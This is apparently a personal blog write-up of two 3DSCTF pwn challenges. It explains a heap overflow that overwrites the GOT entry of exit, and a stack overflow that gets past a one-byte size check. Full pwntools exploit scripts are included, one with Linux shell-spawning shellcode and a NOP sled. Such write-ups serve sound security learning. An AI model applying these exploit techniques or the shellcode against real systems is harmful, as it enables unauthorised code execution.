In between flights I had gotten to doing two of the PWN challenges in 3DSCTF. Here I shall explain as best I can the notes I took during the event.

Cupheap

First things first, we’re exploiting a 64-bit x86 binary with NX enabled, partial RELRO, and neither PIC nor stack canaries.

When you run the binary, you get the following opening prompt.

       Well Cuphead and his pal Mugman
            They like to roll the dice
                   By chance they came
                        On Heap's game
          And gosh they paid the price
                      (Paid the price)

              And now they're fighting
                       For their lives
       On a mission fraught with dread
                   And if they proceed
                     But don't succeed
Well, the Devil will take their faults

After loose a bet against The Devil, now they need to collect 
 memory contracts to bargain for their souls.

Choose one option:

1 - Collect memory
2 - Defeat Dice right-hand of The Devil
3 - Give up

Cool stuff.

Each time you collect memory, you’re randomly incrementing a global variable contracts in amounts of 0, 0x400, or 0x800 in rounds of five. You start with 0x100. On a few different specific amounts, new options open up. Randomization seeded with srand(time()).

Also, when the main function first runs, there’s four calls to malloc, moving the heap into something like this, where each cell is 8 bytes in length.

Malloc 1 (0x10)
.--------------------------.
|___0x1_____|___malloc2_ptr|
                   |          
Malloc 2 (0x8)     |
-------------      |
|__empty____|<-----*

Malloc 3 (0x10)
.--------------------------.
|___0x1_____|___malloc4_ptr|
                   |          
Malloc 4 (0x8)     |
-------------      |
|__empty____|<-----*

The pointers to the Malloc 1 and Malloc 3 region (both containing pointers to the 2nd and 4th) are stored on the stack. Under glibc’s malloc implementation, these allocations are contiguous, one coming right after the other, which opens up the door for us when we can hit the mausoleum function. This function can only be reached after reaching 0x1100 souls, achievable with checks in a loop. I mentally decompiled this function from the disassembly into the following C-psuedocode.

void mausoleum(){
	extern (void*) malloc1[2];
        extern (void*) malloc3[2];
        char buffer[0x1000];
        printf("You are in the Mausoleum...\n");
        fgets(buffer, 0x1000, stdin);
        strcpy(malloc1[1], buffer);
        fgets(buffer, 0x1000, stdin);
        strcpy(malloc3[1], buffer);
}

The neat ordering of the allocations allow us to use strcpy to overflow through Malloc 2, and into Malloc 3 such that we can overwrite the pointer to Malloc 4. Then when strcpy gets called again, we can essentially get an arbitrary write into anywhere in the process space.

The arbitrary write might have a number of good targets, but the most convenient is the Global Offset Table entry for exit, since it’s called very soon after. After doing some additional enumeration of abusable functions within the binary, I notice one that was compiled in, but never called. visitHell turned out to read the flag from a file on the local file system, removing the need for me to get a shell.

Here’s the essential exploit.

#!/usr/bin/python

from pwn import *

binary = "cupheap"
elf = ELF(binary)
chall, port = "cupheap01.3dsctf.org", 8007

context.log_level = "DEBUG"
DEBUG = False


def getpipe():
    if DEBUG:
        return process(binary)
    else:
        return remote(chall, port)

"""
In order to reach the vulnerable code in mauosoleum,
we have to get exactly 0x1100 in the variable contracts.
This variable is printed out in hex after every use of the
first menu option "Collect memory."

This has to be tried repeatedly until we get exactly 0x1100.
"""
p = None

def getContracts(proc):
    while True:
        proc.recvuntil("Give up\n")
        proc.send("1\n")
        proc.recvuntil("You have ")
        contracts = int(proc.recv(6), 16)
        if contracts == 0x1100:
            return True
        elif contracts > 0x1100:
            return False

p = getpipe()

while getContracts(p) != True:
    p.close()
    p = getpipe()

"Drop into the second menu form immediately by giving some char not 1-3"
if "What's next?" not in p.recv():
    p.send("\n\n")

p.recv()

"""
At this point, we should be granted access to the Mausoleum.

Now we take advantage of adjacent heap allocations.
"""

p.send("4\n") #Enter the Mausoleum

""" Overwrite pointer to malloc4 with exit()'s GOT entry."""
payload1 = flat([0xAAAAAAAAAAAAAAAA]*5, elf.got['exit'], word_size=64)

p.sendline(payload1)
#What's visitHell()?
visitHell = elf.symbols[u'_Z9visitHellv']
payload2 = flat(visitHell, word_size=64)
p.sendline(payload2)

print p.recv()

#3DS{y0u_ALL_fr33_0F_th3_H34Ps_d3BT}

MrRobof

Sometimes, Elliot needs to do boring work.

No NX, no stack canary, and no PIC despite using code that loads data position-independent.

The binary reads in arbitrarily-sized data into a size-0x28 (40 bytes) buffer on the stack. The trick is that the input is put through two sets of input validation, in validateSize and validateIP.

validateIP simply loops through the first 40 characters to only allow an ipv6 address. validateSize takes the size of the input into a single byte, and compares that single BYTE against 40.

In order to bypass, the first 40 characters need to be a valid ipv6 address, and the recorded size count must be between 0 and 0x28 when stuck in a single byte.

So, without NX I first set out to get a shell by getting our EIP to point to the stack, but after doing some enumeration, a compiled-yet-unused function was again the easiest way to get the flag. Some of the code in the following exploit is then probably unnecessary, since I didn’t need my own shellcode.

from pwn import *

binary = "mrrobof" #Renamed just because
chall, port = "mrrobof01.3dsctf.org", 8006
e = ELF(binary)

context.log_level = "DEBUG"
DEBUG = False

def getpipe():
    if DEBUG:
        return process(binary)
    else:
        return remote(chall, port)

input_len = 0x1ff00

"""Send an example ip str + someint*0x100 + randrange(0x2,0x28)"""
ip_ex = "2001:0db8:85a3:0000:0000:8a2e:0370:7334."

shellcode = asm(shellcraft.linux.sh())

"""Heh, might not be PIE after all. But there's something I missed again."""
readIPs = e.symbols['readIPs'] #Again?
control_eip = flat("A"*12, readIPs)

padding = "\x90"*(input_len - len(shellcode) - len(ip_ex) - len(control_eip))
code = padding + shellcode

payload = ip_ex
payload += control_eip
payload += code
payload += '\x90'*3 #Need counting byte of 0x2-0x28 to pass, last gets chopped

print "Length:", hex(len(payload))

open("payload","w").write(payload)

p = getpipe()
p.sendline(payload)
print p.recv()
time.sleep(0.3)

if DEBUG and p.poll() == None:
    print p.recv()
if not DEBUG:
    print p.recv()

Didn’t write down the flag to this one.

Contact : ntropy.unc@gmail.com